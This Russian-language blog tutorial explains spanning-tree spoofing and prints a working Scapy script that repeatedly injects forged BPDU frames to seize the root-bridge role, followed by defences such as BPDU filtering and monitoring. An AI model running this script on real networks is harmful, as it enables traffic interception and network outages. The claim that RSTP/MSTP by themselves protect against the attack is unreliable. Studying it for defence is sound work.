Спуфинг дерева STP. Пример BPDU-инъекции

Суть этой атаки заключается в перехвате роли корневого коммутатора путем инъекции кадра BPDU с наименьшим значением приоритета. Однако это приведет лишь к частичной MITM-атаке.

Еще по теме: MITM-атака в локальной сети

Спуфинг дерева STP

Спуфинг дерева протокола связности (STP) — это хитроумная атака, которая может серьезно нарушить работу сетей Ethernet. Давайте разберемся, что это за зверь такой, как он работает и как можно предотвратить его негативные последствия.

Что такое STP? Это протокол, который используется в Ethernet-сетях для предотвращения петель в топологии сети. Он определяет и блокирует избыточные соединения между коммутаторами, чтобы избежать циклических путей и перегрузки сети.

Спуфинг дерева STP — это вид атаки, при котором злоумышленник посылает ложные BPDU (Bridge Protocol Data Units) сигналы, притворяясь корневым мостом в дереве STP. Это может привести к тому, что сетевые узлы начнут перенастраивать свои порты, думая, что произошло изменение топологии сети. Последствия могут быть катастрофическими, включая отказ в обслуживании или перегрузку сети.

Статья в образовательных целях, для обучения этичных хакеров. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши действия.

Как это работает? Злоумышленник отправляет ложные BPDU пакеты, указывая себя как корневой мост. Таким образом, остальные коммутаторы в сети начинают считать его главным и перенастраивают свои порты в соответствии с этим изменением. В результате возникают новые петли и пути, которые могут привести к серьезным проблемам сети.

Вот пример рабочей BPDU-инъекции, которая позволит отобрать роль корневого коммутатора. Опять же это приведет только к частичной MITM-атаке. Не весь трафик в сети бегает через корневой коммутатор.

Отправка такого кадра осуществляется на мультикастовый адрес STP — 01:80:C2:00:00:00.

from scapy.all import *

INTERFACE = "eth0"

ATTACKER_MAC = "00:11:22:33:44:55"

STP_MCAST = "01:80:C2:00:00:00"

def spoof():

frame = Dot3(src=ATTACKER_MAC, dst=STP_MCAST)

llc_layer = LLC(dsap=0x042, ssap=0x042, ctrl=3)

mal_bpdu = STP(rootmac=ATTACKER_MAC, bpduflags=0x01, bridgemac=ATTACKER_MAC)

mal_stp_bpdu = frame / llc_layer / mal_bpdu

sendp(mal_stp_bpdu, iface=INTERFACE, inter=2, loop=1, verbose=1)

spoof()

Защита от Спуфинг дерева STP

Существует несколько методов борьбы с атаками спуфинга дерева STP:

Использование защищенных версий протокола STP, таких как RSTP (Rapid Spanning Tree Protocol) или MSTP (Multiple Spanning Tree Protocol), которые предлагают более быструю сходимость и улучшенную защиту от атак.
Внедрение механизмов безопасности на коммутаторах, таких как фильтрация BPDU пакетов, проверка наличия только одного корневого моста и отключение неиспользуемых портов.
Мониторинг сетевого трафика на предмет аномальных паттернов, свидетельствующих о возможной атаке спуфинга дерева STP.

В заключение, спуфинг дерева STP — это серьезная угроза для безопасности сетей Ethernet, но с правильными мерами предосторожности и защиты можно существенно снизить риск возникновения подобных атак. Обучение персонала и регулярное обновление систем безопасности играют ключевую роль в обеспечении целостности и надежности сетевой инфраструктуры.

ПОЛЕЗНЫЕ ССЫЛКИ: